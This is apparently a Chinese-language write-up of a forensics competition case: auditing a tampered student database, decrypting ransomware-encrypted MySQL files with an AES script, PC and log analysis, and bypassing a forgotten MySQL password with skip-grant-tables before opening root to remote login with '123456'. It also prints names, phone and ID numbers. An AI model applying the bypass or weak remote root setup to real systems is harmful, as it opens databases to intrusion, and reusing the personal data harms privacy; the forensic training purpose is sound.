##http://192.168.232.148/adminer.php?server=localhost&username=root&db=studient&select=score&columns[0][fun]=&columns[0][col]=&where[0][col]=&where[0][op]==&where[0][val]=赵天歌&where[2][col]=&where[2][op]==&where[2][val]=&order[0]=&limit=50&text_length=100
查看数据库配置文件,看能不能从日志中审计出有效信息,发现开启binlog
binlog是个好东西,记录增删改查记录的的。(4条消息) 什么是 binlog?_xzqxiaoqing的博客-CSDN博客_binlog是什么
binlog搜寻无果,查找其他日志,这里找到还有一个localhost.log
其中记录了很多数据库操作,对其进行审计,日志量不大,对其审计得通过update方法共修改3人成绩
和我们前面web日志审计结果相同
24 Query UPDATE `score` SET
`id` = '20177884',
`name` = '胡金保',
`tel` = '13122787578',
`idcard` = '341202200402111723',
`score` = '600'
WHERE `id` = '20177884' AND `name` = '胡金保' AND `name` = '胡金保' COLLATE utf8_bin AND `tel` = '13122787578' AND `idcard` = '341202200402111723' AND `score` = '564' LIMIT 124 Quit
28 Query UPDATE `score` SET
`id` = '20176743',
`name` = '金喆昊',
`tel` = '52856616',
`idcard` = '310107200511295728',
`score` = '600'
WHERE `id` = '20176743' AND `name` = '金喆昊' AND `name` = '金喆昊' COLLATE utf8_bin AND `tel` = '52856616' AND `idcard` = '310107200511295728' AND `score` = '538' LIMIT 128 Quit
32 Query UPDATE `score` SET
`id` = '20177641',
`name` = '范诗怡',
`tel` = '13611843060',
`idcard` = '310107200310040411',
`score` = '600'
WHERE `id` = '20177641' AND `name` = '范诗怡' AND `name` = '范诗怡' COLLATE utf8_bin AND `tel` = '13611843060' AND `idcard` = '310107200310040411' AND `score` = '539' LIMIT 1
名字 | 原成绩 | 修改后成绩 |
---|---|---|
胡金保 | 564 | 600 |
金喆昊 | 538 | 600 |
范诗怡 | 539 | 600 |
14. 嫌疑人入侵服务器后,在数据库中共删除了52条学生相关记录
同样在日志中可以看到删除日志
经过审计,发现一条DELETE命令就是对应一条删除记录的,对其计数
15. 将被篡改的数据库修复,统计全部学生信息中,身份证为31开头的,且分数大于540分的学生共有1048名
经数据比较,数据恢复出来的数据库和嫌疑人入侵电脑上保存的一份studient.sql数据内容完全相同
只有导出时的信息略有不同
这个2017年有点出戏,不知道是不是时间编码问题。
经过日志操作数据和恢复的数据进行对比,可以确定恢复的数据库为修改前的数据库,是一个真实的勒索,没有撕票。所以仅需对还原得的数据库进行操作即可。
在本地起一个数据库,将sql文件导入,对其进行查询,当然也能导入数据库后导出为excel进行操作。
起数据库的时候尽量找版本相近的,有些数据库是向下兼容的,有些可能不太行。
SELECT COUNT(*) 身份证为31开头的,且分数大于540分的学生 FROM score where idcard LIKE '31%' AND score > 540
王锋老师的数据库的课好好学
16. 将被篡改的数据库修复,统计全部学生信息中,有12对同名的学生。
1879-1867=12人,有12个重名的
这样快
SELECT count(*) 学生总数 FROM `score`;
SELECT count(DISTINCT name) 去除重名后的学生总数 FROM `score`;
当然也可以使用excel
筛选条件设置完毕后将所有数据复制到新表,计数得1048名学生
同样筛选同名也可以使用excel实现
将名字导入新表后进行去除重复值操作
直接删掉12个重复值。这是用最简单直白的方法去使用excel分析,当然excel也可以使用语句来筛选,但是个人认为这样不如sql语句来的快,我对excel使用的比较熟练,个人认为大量复杂的需要筛选的数据用sql会快很多,很简单的sql语句也是sql快,毕竟用excel还要导出数据。但是一些不简单不复杂,数据量适中而自己又对excel比较熟悉的情况下,excel是非常强大的可视化工具。本人因为平时比较懒,不爱动脑子,使用大多数分析都是使用excel完成的,现在市面上凡是取证比赛类的这类的数据分析,基本上excel都可以解决,毕竟不是他的主要考点。excel真的挺好用的,大家比赛时视情况,使用自己熟悉的工具去解题。
数据库解密
先做完计算机可知其加密方式
根据后面分析,现对整个加密的数据进行解密,在其原有脚本的基础上,修改编写解密脚本。
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
import time
import requests
import sys
import hashlibfile_list = ['studient.sql.CRY','db.opt.CRY','score.frm.CRY','score.ibd.CRY']
#根据需要解密的文件进行选择。def modify_file_inplace(filename, crypto, key, blocksize=4096):with open(filename, 'r+b') as f:plaintext = f.read(blocksize)while plaintext:if len(plaintext) < blocksize:padtext = pad(plaintext, AES.block_size, style='pkcs7')ciphertext = crypto(padtext)else:ciphertext = crypto(plaintext)f.seek(-len(plaintext), 1)f.write(ciphertext)plaintext = f.read(blocksize)machine_id = '95a10a23fca34b69aa8ab9c38230fc9e'
time = '202105081333'
#根据需要解密文件的时间戳进行填写
key = hashlib.sha256((machine_id+time).encode('ascii')).hexdigest()[:32]def main():key = hashlib.sha256((machine_id+time).encode('ascii')).hexdigest()[:32]cipher = AES.new(key[:16].encode('ascii'), AES.MODE_CBC, IV=key[16:].encode('ascii'))print(key)print(key[16:].encode('ascii'))for file in file_list:modify_file_inplace(file, cipher.decrypt, key=key.encode('ascii'))os.rename(file, file+'.decrypt')print(file, 'decrypted.')
main()
还原
电脑部分
17. 镜像PC.e01对应的嫌疑人PC源盘sha256为6EEF51A3737269D631B733AB476B236E055103115D463DAF81529556C1738199
18. PC操作系统安装时间为2021-05-02 00:30:44(格式要求:YYYY-MM-DD HH:MM:SS,如2019-03-17 14:03:27)
跑一把梭的时候提示有bitlocker加密分区,先爆搜一下恢复密钥,解密后重新跑一遍取证再做下面的题,不然有些题不一定找得到,或者找出来是误导项。在文件系统里直接搜“恢复密钥”这四个字一般都能搜到,如果有修改文件名了,对磁盘用正则匹配恢复密钥的格式。
可以对比一下解密前后,分析出来的数据会多一些,
PC类的题可以多用用取证大师,还不错。
同样也需要先解密后重新取证。能取出更多东西。
仿真看可以看到Eraser已经删除过很多文件了
在桌面可以直接看到“货5.docx”,但是打开是乱码
office文件本质上是一个压缩包文件,有PK头的,所以使用压缩工具打开,打开文件查看,发现后缀是docx但是实质上是个excel文件
修改后缀打开,可以正常打开,有很多数据先放着,等做到题目再仔细分析
wps和ms的office套件都会有这个最近打开文档,看一看最近打开了哪些文档,这里我们又找到两个货,推测货的编号是连续的
货三需要密码
使用passware爆破
有独立显卡的同学记得在选项中勾选使用独立显卡,比赛时让显卡去跑爆破,cpu留出来进行任务调度,运行各类取证程序。
存在本地邮件软件
在E盘找到foxmail本体
打开查看,查看完取证软件里也要看,有些时候取证软件能取到一些删除的邮件和缓存。
在这找到货2
这几个文件是一般pc取证的时候需要重点关注的,建议一个一个打开来看,仿真的优势就在于很直观的体现数据,以嫌疑人的思维去操作。
在图片处找到货6
使用010打开,010比winhex的优点在于有很多内置模板,我们很容易可以看到最后的unknownPadding是不属于jpg的附加数据,从文件头看504B0304是个压缩包,有[Content_Types].xml字段,典型的office文档,我们将这个压缩包导出。
也是一个excel文件
在这发现一个备份文件
实际上是一个qq的备份文件,可能会涉及到一些聊天记录,聊天文件。
.bak文件应该是一个apk类型的备份,可能带apk内的一些数据
这个repair文件大小刚好为102400是很整的一个数,刚好100兆,使用010分析
像是一个磁盘文件
使用取证工具挂载解析,发现一个被删除的货4,导出以备后续分析
这里发现一个access.log
这里有一个网站
后续碰到再分析
这里有个虚拟机,推测是之前入侵服务器用的,直接导出,使用仿真加载vmdk文件,这样能避免遇到密码再回来绕过密码,还可以直接判断服务器类型。同时放取证软件里跑一遍,对其情况有个概览。
存在快照即卷影副本,可能要对两个都要分析,一般来说前面那个也很重要
这里也可以找到服务器密码
接下来对入侵虚拟机进行分析
再2444文件夹中发现疑似远控程序的控制端的程序
web.log疑似为加密软件后台接收的日志
xise中为入侵服务器使用的木马1.php,webshell管理工具验证了之前的猜想,是使用了webshell管理工具的,这里我也学到了看到webshell密码是xise的考虑xise这个工具
db.php数据库配置文件,
studient.sql疑似原本的数据库score表导出文件,这是个好东西,解服务器题的关键
发现还入侵了很多网站
还有其他几个文件,等做到再回过头来看
桌面上这个key-server文件是用python的flask架构起一个网站,接收加密文件回传的key值用的
发现linux爆破文件,但是设置了密码
使用压缩包密码爆破工具,passware密码破解一流
先爆破着,实际比赛时不一定要解出,综合考虑效能。
解了很久没接出
但是换个角度来看打开记录可以看到其中的部分内容信息
在桌面找到一个linux连接工具winscp,其中保存的连接记录就是链接被入侵主机的,说不定该程序日志中保存着首次登录明确的时间。
发现winscp命令执行的操作是使用的putty,putty没有日志
对检材的基本分析结束了,接下来就是做题,遇到问题解决问题。
19. 嫌疑人破解服务器密码使用的工具/软件名为hydra
破解服务器密码的使用的工具就是那么几种,都要熟悉。
他怕我们不知道还特地留了个爆破成功的截图
20. 嫌疑人PC中,bitlocker分区恢复秘钥为327954-438944-621852-201003-531718-502172-098219-240251
只有bitlocker解密了,才能取到关键信息
21. 嫌疑人将所有学生信息拆分为6份文件
拆成了6个货,具体过程在上面分析的地方。
22. 所有被拆分的学生信息文件中,有一份被删除,该文件中共有学生信息339条
货4是被删过的
共有339条
23. 嫌疑人邮箱地址为234011677@qq.com
24. 嫌疑人曾通过QQ售卖的学生信息,买家QQ号为234011698
这里应该涉及到那个qq的备份文件
25. 嫌疑人首次访问服务器中上传的1.php文件的时间为15:42:43(格式要求:HH:MM:SS,如14:03:27)
26. 提取并分析服务器中的加密程序,该程序执行后会加密7种不同类型的文件
27. 嫌疑人共加密了4个文件
对/usr/local/mysql/var/studient目录进行了加密
共加密四个文件
28. 首次成功加密文件的时间为2021-05-08 13:33:13(格式要求:YYYY-MM-DD HH:MM:SS,如2019-03-17 14:03:27)
可以看到在留下来的历史记录里还有两条加密的操作
每执行一次操作都会向后台回传一条记录,根据加密逻辑和程序意图,应该是对文件夹加密的这一条。
后台总共有4条记录,很明显取证软件中的两条对应后两条,前面两条的操作记录可能已经被删除了
这里他问首次加密成功,需要满足加密成功和首次这两个条件,多次加密因为文件后缀已无法满足加密程序的判断逻辑,所以不会执行加密操作。
查看文件修改时间,很明显对应202105081333这一条,所以首次加密时间为2021-05-08 13:33:13,我们就是根据该条信息制作密钥编写解密程序。
查看具体参数,时间为2021-05-08 13:33:13.487958325 +0800
通过这个地方对文件时间戳的查询,我们可以看到studient.sql的加密时间是远晚于其他几个文件的,所以对studient.sql需要使用其对应的时间戳去解密
29. 该程序对目标文件的加密方式为AES
30. 该程序对文件studient.sql进行加密时,使用的秘钥为9ff79decd3d6fbb2
加密脚本就是一个完整的python文件,我们可以修改其内容,直接编写解密脚本,这就是最简单的逆向类型。各种逆向如遇到这种直接调用加密库的可以稍微调整一下,然后将加密脚本中的encrypt改成decrypt就解密了。
hashlib.sha256((machine_id+time).encode('ascii')).hexdigest()[:32]
cipher = AES.new(key[:16].encode('ascii'), AES.MODE_CBC, IV=key[16:].encode('ascii'))
studient.sql的修改时间是15:28,对应的时间戳和机器码应该是这一条
不要看到上面有单独的studient.sql就被他迷惑了
他问的是密钥,而不是key的值,对于aes加密来讲,密钥还需取其前16位,我差点被他骗了。
三题小数据分析,第一二题还没来得及做完。
取证过程中,在其电脑中又发现了新的线索。
线索1:
民警怀疑加密分区里的access.rar与另外一起入侵活动有关,可能是嫌疑人拷贝到本地的日志文件。该案中,受害网站管理员于2020年9月15日13点19分报案,称有黑客篡改了部分网站页面,并篡改了一张图片,图片文件名为:HackFindx.png,文件大小为45924 Byte
31. 该压缩包的sha256值为
255dea58932a6eec318560643000c64338906c8c3c840a70377cd8ec549b9d4f
32. 该日志共有6079793行(6079794)
日志比较大,用各种工具打开都比较慢,简单方法就是用个带行数计算的编辑器打开即可,现在一般的编辑器都带行数计算的,开启即可。
共有6079793行日志,最有一行是空行,个人认为不算日志
打开可以看到这个工具共有6百多万条,一般的导成excel分析是实现不了的
这就是一个相对较大的日志了,日志分析最有用的是LogParser或者三剑客进行分析,大家后续学习中至少熟练掌握两者中的一个。
大日志先用取证工具跑一遍。这里我经过多日的苦苦搜索,找到一个还不错的软件,有30天的试用,可以查看日志整体的情况,工具相对较大,多线程也做得比较好,分析起来相对较快。
https://pan.baidu.com/s/1cSMfNmN2TVq-6zBxWFNKAg?pwd=GAME
肉眼审计是不现实的,所以需要用到专业的日志审计工具Log Parser,这个工具可以使用sql语句直接对日志进行查询,这个工具还有可视化版本Log Parser Lizard只需关系sql语句即可。我也是刚开始学习这方面的知识,还没有积累相对完整体系的查询语句,接下来仅对题目中用到的语句进行展示和分析。希望有会日志的高手分享一下经验。
这里的计算条数可以用Log Parser用sql语句查询得到。
access这类nginx和apache的日志要选择使用NCSA格式打开。
SELECT TOP 100 * FROM 'C:\Users\admin\Desktop\练习1导出文件\access.log'
使用Log Parser工具的话我们就是像使用数据库一样去查询日志,而无需管其他一些东西。
对于这题,我们数一下共有多少条日志
SELECT TOP 100 * FROM 'C:\Users\admin\Desktop\练习1导出文件\access.log'
查询失败
使用count(1) 或count(ALL * )
SELECT count(ALL * ) FROM 'C:\Users\admin\Desktop\练习1导出文件\access.log'
SELECT count(1) FROM 'C:\Users\admin\Desktop\练习1导出文件\access.log'
怎么查出来少一条,还好之前已经使用文本编辑器查看过行数了
33. 嫌疑人篡改HackFindx.png时使用的IP地址是180.121.158.139
查询request或者referer这两个字段中哪个包含HackFindx.png
34. 入侵发生前,嫌疑人最近一次扫描网站时所使用的IP地址是47.98.167.62
35. 接上题,这个IP地址在日志文件中出现的总次数是36656
36. 2020年内,请求不存在页面总次数超过1000次的IP共有19个
37. 2020年内,请求不存在页面总次数最多的IP是183.224.79.34,共有12469次
线索2:
民警怀疑加密分区里的web.rar与另外一起入侵活动有关,可能是嫌疑人拷贝到本地的网站源码和日志文件。该案中,受害网站于2020年5月9日左右被入侵并被挂暗链,搜索该网站域名时会跳转到其他违法页面。据嫌疑人交代,入侵中曾使用了名为bypass.php的后门文件,随后删除了该文件。
38. 压缩包sha256
ef4261344dca73a04eb0e8660985db9d6e85a6630e9c0a1ae1a4ed5464573201
先对网站整体架构进行分析,对各个文件进行查看。
39. 后门文件bypass.php的可能删除时间为18:14:30至18:14:35之间(格式要求:HH:MM:SS,如14:03:27)
40. 嫌疑人为后门文件设置的密码为admin
41. 被篡改的网站源码文件名是index(1).php
42. 暗链中对应的的违法网站域名为132126.com
线索3:
据嫌疑人交代,其个人电脑的MySQL数据库中也保存着一份公民信息,但MySQL很久未登录账号密码均已经忘记了。
这题涉及到windows系统mysql取证,可以直接以仿真的形式去虚拟机中取。一个是使用取证工具直接导出数据库。取证工具直接导出没有什么难度,先简单介绍一下。
取证工具
再工具箱内安装弘联取证工具的数据库取证插件
直接再分析页面点击数据库分析即可。
根据题目需求去对对应的数据库中的信息分析即可。
工具还是有点问题的,不能显示。工具不一定可靠,手工得要会,工具要熟练。
导出
将数据data目录导出至我们自己的数据库中,注意要选择版本相近引擎相同的数据库。
新建一个mysql8的数据库,将原来的data删除,复制data进去。后续需进行一些调错的操作,也是一种搭建数据库的方法。
仿真
仿真中,发现mysql并没有设置环境变量
搜索mysql,发现是安装了mysql的
点这个command line工具进行登录数据库,但是有密码
(7条消息) Mysql8.0以上重置初始密码的方法_Jplusztx的博客-CSDN博客_mysql8.0初始密码
服务名无效
查看服务,服务名为mysql80
mysqld --console --skip-grant-tables --shared-memory
报错,发现是因为程序目录下缺少配置信息my.ini,但我们在数据目录下发现有该配置文件,拷贝过来即可成功运行该语句
(7条消息) Mysql 80 解决忘记密码无法跳过错误 mysqld --console --skip-grant-tables --shared-memory 代码无效的问题_陆深Jason的博客-CSDN博客_mysql8 跳过密码
已绕过密码
43. 该数据库有3个允许远程登录的账号
mysql的账号信息存储在mysql系统数据库mysql库中,查看mysql库中的数据
开始查询
共有三个账户允许远程登陆
C:\Program Files\MySQL\MySQL Server 8.0\bin>mysql -u root -p
Enter password: *
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.25 MySQL Community Server - GPLCopyright (c) 2000, 2021, Oracle and/or its affiliates.Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| student |
| sys |
+--------------------+
5 rows in set (0.00 sec)mysql> use mysql;
Database changed
mysql> show tables;
+------------------------------------------------------+
| Tables_in_mysql |
+------------------------------------------------------+
| columns_priv |
| component |
| db |
| default_roles |
| engine_cost |
| func |
| general_log |
| global_grants |
| gtid_executed |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| innodb_index_stats |
| innodb_table_stats |
| password_history |
| plugin |
| procs_priv |
| proxies_priv |
| replication_asynchronous_connection_failover |
| replication_asynchronous_connection_failover_managed |
| role_edges |
| server_cost |
| servers |
| slave_master_info |
| slave_relay_log_info |
| slave_worker_info |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+------------------------------------------------------+
35 rows in set (0.08 sec)mysql> select user,host from user;
+------------------+-----------+
| user | host |
+------------------+-----------+
| sae_user | % |
| student | % |
| zhao4 | % |
| mysql.infoschema | localhost |
| mysql.session | localhost |
| mysql.sys | localhost |
| root | localhost |
+------------------+-----------+
7 rows in set (0.00 sec)mysql>
44. student表中,info字段的数据类型是BLOB
mysql> use student;
Database changed
mysql> show tables;
+-------------------+
| Tables_in_student |
+-------------------+
| student |
+-------------------+
1 row in set (0.00 sec)
mysql> describe student;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| info | blob | YES | | NULL | |
+-------+------+------+-----+---------+-------+
1 row in set (0.04 sec)
45. 该数据库中共记录了学生信息4条
由于student数据库是blob类型的数据,且root用户不允许外联,而且同学们对sql语句比较生疏,所以我们设置root用户允许外联,修改root密码,停止绕过密码,使用navicat连接查看。
mysql> select host, user, authentication_string, plugin from mysql.user;
+-----------+------------------+------------------------------------------------------------------------+-----------------------+
| host | user | authentication_string | plugin |
+-----------+------------------+------------------------------------------------------------------------+-----------------------+
| % | sae_user | *97D8E5ED2EE9FE9809C66F39EE89AAC6436A6BD2 | mysql_native_password |
| % | student | *1308E0FCD43112F8D948AB093F54892CB7B220AA | mysql_native_password |
| % | zhao4 | *E34812A167F82B0880CEC1F835BE786C42E3E66A | mysql_native_password |
| localhost | mysql.infoschema | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password |
| localhost | mysql.session | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password |
| localhost | mysql.sys | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password |
| localhost | root | *97D8E5ED2EE9FE9809C66F39EE89AAC6436A6BD2 | mysql_native_password |
+-----------+------------------+------------------------------------------------------------------------+-----------------------+
7 rows in set (0.00 sec)mysql> use mysql;
Database changed
mysql> update user set host='%' where user = 'root';
Query OK, 1 row affected (0.02 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> ALTER USER 'root'@'%' IDENTIFIED WITH MYSQL_NATIVE_PASSWORD BY '123456';
Query OK, 0 rows affected (0.02 sec)
mysql> flush privileges;
Query OK, 0 rows affected (0.06 sec)
mysql> select host, user, authentication_string, plugin from mysql.user;
+-----------+------------------+------------------------------------------------------------------------+-----------------------+
| host | user | authentication_string | plugin |
+-----------+------------------+------------------------------------------------------------------------+-----------------------+
| % | root | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 | mysql_native_password |
| % | sae_user | *97D8E5ED2EE9FE9809C66F39EE89AAC6436A6BD2 | mysql_native_password |
| % | student | *1308E0FCD43112F8D948AB093F54892CB7B220AA | mysql_native_password |
| % | zhao4 | *E34812A167F82B0880CEC1F835BE786C42E3E66A | mysql_native_password |
| localhost | mysql.infoschema | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password |
| localhost | mysql.session | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password |
| localhost | mysql.sys | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED | caching_sha2_password |
+-----------+------------------+------------------------------------------------------------------------+-----------------------+
7 rows in set (0.00 sec)
mysql> exit
Bye
将之前的窗口全部关闭,重启服务即可远程连接。
可以看到这个blob数据为一个图像,其中有4条数据